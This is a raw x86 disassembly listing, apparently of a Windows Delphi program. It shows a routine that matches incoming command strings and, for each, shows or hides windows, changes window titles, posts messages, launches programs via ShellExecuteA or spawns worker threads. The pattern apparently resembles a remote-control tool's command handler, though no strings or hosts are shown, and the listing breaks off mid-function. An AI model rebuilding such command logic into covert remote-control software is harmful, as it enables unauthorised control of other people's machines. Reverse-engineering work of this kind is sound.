call fcn.00482cc8
mov eax, dword [ebp - 4]
mov edx, 0x48d964
call fcn.00405850
jne 0x486fa5
mov eax, dword [0x4a23d8]
cmp dword [eax], 0
je 0x486fa5
lea eax, [ebp - 0x784]
mov edx, 0x48d970
call fcn.00405620
mov eax, dword [ebp - 0x784]
push eax
push 4
push 6
mov eax, dword [0x4a23d8]
mov eax, dword [eax]
push eax
call sub.user32.dll_PostThreadMessageW
lea eax, [ebp - 0x788]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x788]
mov edx, 0x48d980
call fcn.00405850
jne 0x487181
lea eax, [ebp - 4]
mov ecx, 9
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x48716d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x24]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov esi, ebx
mov eax, dword [ebp - 0x28]
mov edx, 0x48d340
call fcn.00405850
jne 0x4870ff
lea eax, [ebp - 0x78c]
call fcn.00465f0c
mov eax, dword [ebp - 0x78c]
push eax
lea eax, [ebp - 0x790]
call fcn.00465ce0
mov edx, dword [ebp - 0x790]
mov eax, esi
pop ecx
call fcn.00405740
jmp 0x487117
lea eax, [ebp - 0x794]
call fcn.00465ce0
mov edx, dword [ebp - 0x794]
mov eax, esi
call fcn.0040547c
lea eax, [esi + 4]
mov edx, dword [ebp - 0x1c]
call fcn.0040547c
lea eax, [esi + 8]
mov edx, dword [ebp - 0x20]
call fcn.0040547c
lea eax, [esi + 0xc]
mov edx, dword [ebp - 0x24]
call fcn.0040547c
lea eax, [esi + 0x10]
mov edx, 0x48cd74
call fcn.0040547c
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x494f08
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x487181
lea eax, [ebp - 0x798]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x798]
mov edx, 0x48d9c4
call fcn.00405850
jne 0x4871f4
lea eax, [ebp - 4]
mov ecx, 6
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x4871ea
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0x10
mov eax, dword [ebp - 4]
call fcn.00409e40
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4871f4
lea eax, [ebp - 0x79c]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x79c]
mov edx, 0x48d9d4
call fcn.00405850
jne 0x487263
lea eax, [ebp - 4]
mov ecx, 8
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x487259
push dword fs:[eax]
mov dword fs:[eax], esp
push 3
mov eax, dword [ebp - 4]
call fcn.00409e40
push eax
call sub.user32.dll_ShowWindow
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x487263
lea eax, [ebp - 0x7a0]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x7a0]
mov edx, 0x48d9e8
call fcn.00405850
jne 0x4872d2
lea eax, [ebp - 4]
mov ecx, 8
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x4872c8
push dword fs:[eax]
mov dword fs:[eax], esp
push 6
mov eax, dword [ebp - 4]
call fcn.00409e40
push eax
call sub.user32.dll_ShowWindow
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4872d2
lea eax, [ebp - 0x7a4]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x7a4]
mov edx, 0x48d9fc
call fcn.00405850
jne 0x487341
lea eax, [ebp - 4]
mov ecx, 5
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x487337
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 4]
call fcn.00409e40
push eax
call sub.user32.dll_ShowWindow
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x487341
lea eax, [ebp - 0x7a8]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x7a8]
mov edx, 0x48da0c
call fcn.00405850
jne 0x4873b0
lea eax, [ebp - 4]
mov ecx, 5
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x4873a6
push dword fs:[eax]
mov dword fs:[eax], esp
push 5
mov eax, dword [ebp - 4]
call fcn.00409e40
push eax
call sub.user32.dll_ShowWindow
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4873b0
lea eax, [ebp - 0x7ac]
push eax
mov ecx, 0x10
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x7ac]
mov edx, 0x48da1c
call fcn.00405850
jne 0x48747e
lea eax, [ebp - 4]
mov ecx, 0x10
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x487474
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xb4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xb8]
mov edx, dword [ebp - 4]
call fcn.004054c0
mov eax, dword [ebp - 0xb8]
call fcn.004058b8
push eax
mov eax, dword [ebp - 0xb4]
call fcn.00409e40
push eax
call sub.user32.dll_SetWindowTextA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48747e
lea eax, [ebp - 0x7b0]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x7b0]
mov edx, 0x48da38
call fcn.00405850
jne 0x4875e1
lea eax, [ebp - 4]
mov ecx, 0xa
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x4875cd
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x24]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov esi, ebx
lea eax, [ebp - 0x7b4]
call fcn.0049a8a0
mov edx, dword [ebp - 0x7b4]
mov eax, esi
call fcn.0040547c
lea eax, [esi + 4]
mov edx, dword [ebp - 0x1c]
call fcn.0040547c
lea eax, [esi + 8]
mov edx, dword [ebp - 0x20]
call fcn.0040547c
lea eax, [esi + 0xc]
mov edx, dword [ebp - 0x24]
call fcn.0040547c
lea eax, [esi + 0x10]
mov edx, 0x48cd74
call fcn.0040547c
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x494f08
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4875e1
lea eax, [ebp - 0x7b8]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x7b8]
mov edx, 0x48da84
call fcn.00405850
jne 0x487648
xor eax, eax
push ebp
push 0x48763e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov ecx, 9
mov edx, 1
call fcn.00405960
mov eax, dword [ebp - 4]
call fcn.0049ab4c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x487648
lea eax, [ebp - 0x7bc]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x7bc]
mov edx, 0x48da98
call fcn.00405850
jne 0x4876fe
xor eax, eax
push ebp
push 0x4876f4
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov ecx, 9
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
mov edx, dword [ebp - 4]
call fcn.004054c0
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
call fcn.0049ac00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4876fe
lea eax, [ebp - 0x7c0]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x7c0]
mov edx, 0x48daac
call fcn.00405850
jne 0x487756
lea eax, [ebp - 4]
mov ecx, 0xc
mov edx, 1
call fcn.00405960
push 1
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
push 0x48ccfc
push 0
call sub.shell32.dll_ShellExecuteA
lea eax, [ebp - 0x7c4]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x7c4]
mov edx, 0x48dac4
call fcn.00405850
jne 0x4878b9
lea eax, [ebp - 4]
mov ecx, 0xb
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x4878a5
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x24]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov esi, ebx
lea eax, [ebp - 0x7c8]
call fcn.00481a08
mov edx, dword [ebp - 0x7c8]
mov eax, esi
call fcn.0040547c
lea eax, [esi + 4]
mov edx, dword [ebp - 0x1c]
call fcn.0040547c
lea eax, [esi + 8]
mov edx, dword [ebp - 0x20]
call fcn.0040547c
lea eax, [esi + 0xc]
mov edx, dword [ebp - 0x24]
call fcn.0040547c
lea eax, [esi + 0x10]
mov edx, 0x48cd74
call fcn.0040547c
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x494f08
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4878b9
lea eax, [ebp - 0x7cc]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x7cc]
mov edx, 0x48db0c
call fcn.00405850
jne 0x48790f
lea eax, [ebp - 4]
mov ecx, 0xd
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x7d0]
call fcn.00463cf0
mov eax, dword [ebp - 0x7d0]
mov edx, dword [ebp - 4]
call fcn.00464048
lea eax, [ebp - 0x7d4]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x7d4]
mov edx, 0x48db24
call fcn.00405850
jne 0x487965
lea eax, [ebp - 4]
mov ecx, 0xc
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x7d8]
call fcn.00463cf0
mov eax, dword [ebp - 0x7d8]
mov edx, dword [ebp - 4]
call fcn.00463f80
lea eax, [ebp - 0x7dc]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x7dc]
mov edx, 0x48db3c
call fcn.00405850
jne 0x4879aa
lea eax, [ebp - 4]
mov ecx, 0xe
mov edx, 1
call fcn.00405960
mov eax, dword [ebp - 4]
call fcn.00481978
lea eax, [ebp - 0x7e0]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x7e0]
mov edx, 0x48db54
call fcn.00405850
jne 0x487ab6
lea eax, [ebp - 4]
mov ecx, 0xe
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xbc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48db6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48db6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xc0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48db6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48db6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xc4]
mov edx, dword [ebp - 4]
call fcn.004054c0
mov eax, dword [ebp - 0xc4]
call fcn.004058b8
mov edx, eax
lea eax, [ebp - 0x7e4]
call fcn.00405620
mov eax, dword [ebp - 0x7e4]
push eax
mov eax, dword [ebp - 0xc0]
call fcn.004058b8
push eax
mov eax, dword [ebp - 0xbc]
call fcn.004058b8
pop edx
pop ecx
call fcn.00481c18
lea eax, [ebp - 0x7e8]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x7e8]
mov edx, 0x48db78
call fcn.00405850
jne 0x487c19
lea eax, [ebp - 4]
mov ecx, 0xe
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x487c05
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x24]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov esi, ebx
lea eax, [ebp - 0x7ec]
call fcn.00466094
mov edx, dword [ebp - 0x7ec]
mov eax, esi
call fcn.0040547c
lea eax, [esi + 4]
mov edx, dword [ebp - 0x1c]
call fcn.0040547c
lea eax, [esi + 8]
mov edx, dword [ebp - 0x20]
call fcn.0040547c
lea eax, [esi + 0xc]
mov edx, dword [ebp - 0x24]
call fcn.0040547c
lea eax, [esi + 0x10]
mov edx, 0x48cd74
call fcn.0040547c
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x494f08
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x487c19
lea eax, [ebp - 0x7f0]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x7f0]
mov edx, 0x48dbc4
call fcn.00405850
jne 0x487d21
lea eax, [ebp - 4]
mov ecx, 8
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xc8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xcc]
mov edx, dword [ebp - 4]
call fcn.004054c0
lea eax, [ebp - 0xd0]
mov edx, dword [ebp - 0xc8]
call fcn.004054c0
lea eax, [ebp - 0xd0]
mov ecx, 5
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xc8]
push eax
mov ecx, 4
mov edx, 1
mov eax, dword [ebp - 0xc8]
call fcn.00405920
push 0x48cdb4
push dword [ebp - 0xd0]
push 0x48cdb4
lea eax, [ebp - 0x7f4]
mov edx, 3
call fcn.004057bc
mov edx, dword [ebp - 0x7f4]
mov ecx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xc8]
call fcn.00466860
mov eax, dword [ebp - 4]
mov edx, 0x48dbd8
call fcn.00405850
jne 0x487d35
call fcn.0046693c
lea eax, [ebp - 0x7f8]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x7f8]
mov edx, 0x48dbf0
call fcn.00405850
jne 0x487e10
lea eax, [ebp - 4]
mov ecx, 0xb
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xc8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xcc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
mov eax, dword [ebp - 0xcc]
push eax
mov ecx, dword [ebp - 0xc8]
mov edx, 0x48cd74
mov eax, dword [ebp - 4]
call fcn.00492230
mov eax, dword [ebp - 4]
mov edx, 0x48dc04
call fcn.00405850
jne 0x487e64
xor eax, eax
push ebp
push 0x487e5a
push dword fs:[eax]
mov dword fs:[eax], esp
push 2
lea edx, [ebp - 0x7fc]
mov eax, dword [0x45e288]
call fcn.0045e2e0
mov eax, dword [ebp - 0x7fc]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.004071e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x487e64
mov eax, dword [ebp - 4]
mov edx, 0x48dc18
call fcn.00405850
jne 0x487eb8
xor eax, eax
push ebp
push 0x487eae
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xa
lea edx, [ebp - 0x800]
mov eax, dword [0x45e288]
call fcn.0045e2e0
mov eax, dword [ebp - 0x800]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.004071e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x487eb8
mov eax, dword [ebp - 4]
mov edx, 0x48dc28
call fcn.00405850
jne 0x487f0c
xor eax, eax
push ebp
push 0x487f02
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x22
lea edx, [ebp - 0x804]
mov eax, dword [0x45e288]
call fcn.0045e2e0
mov eax, dword [ebp - 0x804]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.004071e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x487f0c
mov eax, dword [ebp - 4]
mov edx, 0x48dc38
call fcn.00405850
jne 0x487f60
xor eax, eax
push ebp
push 0x487f56
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
lea edx, [ebp - 0x808]
mov eax, dword [0x45e288]
call fcn.0045e2e0
mov eax, dword [ebp - 0x808]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.004071e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x487f60
mov eax, dword [ebp - 4]
mov edx, 0x48dc4c
call fcn.00405850
jne 0x487fb2
xor eax, eax
push ebp
push 0x487fa8
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x80c]
mov eax, dword [0x45e288]
call fcn.0045e2e0
mov eax, dword [ebp - 0x80c]
push eax
mov eax, dword [eax]
call dword [eax + 0x3c]
call fcn.004071e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x487fb2
mov eax, dword [ebp - 4]
mov edx, 0x48dc60
call fcn.00405850
jne 0x4882a2
xor eax, eax
push ebp
push 0x48801e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x810]
call fcn.00405c04
push eax
lea edx, [ebp - 0x814]
mov eax, dword [0x45e288]
call fcn.0045e2e0
mov eax, dword [ebp - 0x814]
push eax
mov eax, dword [eax]
call dword [eax + 0x90]
call fcn.004071e4
mov edx, dword [ebp - 0x810]
lea eax, [ebp - 0xd4]
call fcn.004056b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x488028
xor eax, eax
push ebp
push 0x48807e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x818]
call fcn.00405c04
push eax
lea edx, [ebp - 0x81c]
mov eax, dword [0x45e288]
call fcn.0045e2e0
mov eax, dword [ebp - 0x81c]
push eax
mov eax, dword [eax]
call dword [eax + 0x24]
call fcn.004071e4
mov edx, dword [ebp - 0x818]
lea eax, [ebp - 0xd8]
call fcn.004056b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x488088
xor eax, eax
push ebp
push 0x4880e7
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00466a24
cmp al, 1
jne 0x4880dd
lea eax, [ebp - 0x820]
call fcn.00405c04
push eax
lea edx, [ebp - 0x824]
mov eax, dword [0x45e288]
call fcn.0045e2e0
mov eax, dword [ebp - 0x824]
push eax
mov eax, dword [eax]
call dword [eax + 0x6c]
call fcn.004071e4
mov edx, dword [ebp - 0x820]
lea eax, [ebp - 0xdc]
call fcn.004056b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4880f1
xor eax, eax
push ebp
push 0x488150
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00466a24
cmp al, 1
jne 0x488146
lea eax, [ebp - 0x828]
call fcn.00405c04
push eax
lea edx, [ebp - 0x82c]
mov eax, dword [0x45e288]
call fcn.0045e2e0
mov eax, dword [ebp - 0x82c]
push eax
mov eax, dword [eax]
call dword [eax + 0x70]
call fcn.004071e4
mov edx, dword [ebp - 0x828]
lea eax, [ebp - 0xe0]
call fcn.004056b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48815a
xor eax, eax
push ebp
push 0x4881b3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x830]
call fcn.00405c04
push eax
lea edx, [ebp - 0x834]
mov eax, dword [0x45e288]
call fcn.0045e2e0
mov eax, dword [ebp - 0x834]
push eax
mov eax, dword [eax]
call dword [eax + 0x80]
call fcn.004071e4
mov edx, dword [ebp - 0x830]
lea eax, [ebp - 0xe4]
call fcn.004056b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4881bd
cmp dword [ebp - 0xd4], 0
jne 0x4881d6
lea eax, [ebp - 0xd4]
mov edx, 0x48dc74
call fcn.004054c0
cmp dword [ebp - 0xd8], 0
jne 0x4881ef
lea eax, [ebp - 0xd8]
mov edx, 0x48dc74
call fcn.004054c0
cmp dword [ebp - 0xdc], 0
jne 0x488208
lea eax, [ebp - 0xdc]
mov edx, 0x48dc74
call fcn.004054c0
cmp dword [ebp - 0xe0], 0
jne 0x488221
lea eax, [ebp - 0xe0]
mov edx, 0x48dc74
call fcn.004054c0
cmp dword [ebp - 0xe4], 0
jne 0x48823a
lea eax, [ebp - 0xe4]
mov edx, 0x48dc74
call fcn.004054c0
push 0x48dc80
push dword [ebp - 0xd4]
push 0x48cb6c
push dword [ebp - 0xd8]
push 0x48cb6c
push dword [ebp - 0xdc]
push 0x48cb6c
push dword [ebp - 0xe0]
push 0x48cb6c
push dword [ebp - 0xe4]
push 0x48cb6c
lea eax, [ebp - 0x83c]
call fcn.00466ac0
push dword [ebp - 0x83c]
lea eax, [ebp - 0x838]
mov edx, 0xc
call fcn.004057bc
mov eax, dword [ebp - 0x838]
call fcn.00482cc8
lea eax, [ebp - 0x840]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x840]
mov edx, 0x48dc90
call fcn.00405850
jne 0x488405
lea eax, [ebp - 4]
mov ecx, 0xa
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x4883f1
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x24]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov esi, ebx
lea eax, [ebp - 0x844]
call fcn.00466d44
mov edx, dword [ebp - 0x844]
mov eax, esi
call fcn.0040547c
lea eax, [esi + 4]
mov edx, dword [ebp - 0x1c]
call fcn.0040547c
lea eax, [esi + 8]
mov edx, dword [ebp - 0x20]
call fcn.0040547c
lea eax, [esi + 0xc]
mov edx, dword [ebp - 0x24]
call fcn.0040547c
lea eax, [esi + 0x10]
mov edx, 0x48cd74
call fcn.0040547c
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x494f08
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x488405
lea eax, [ebp - 0x848]
push eax
mov ecx, 0xa
mov edx, 1
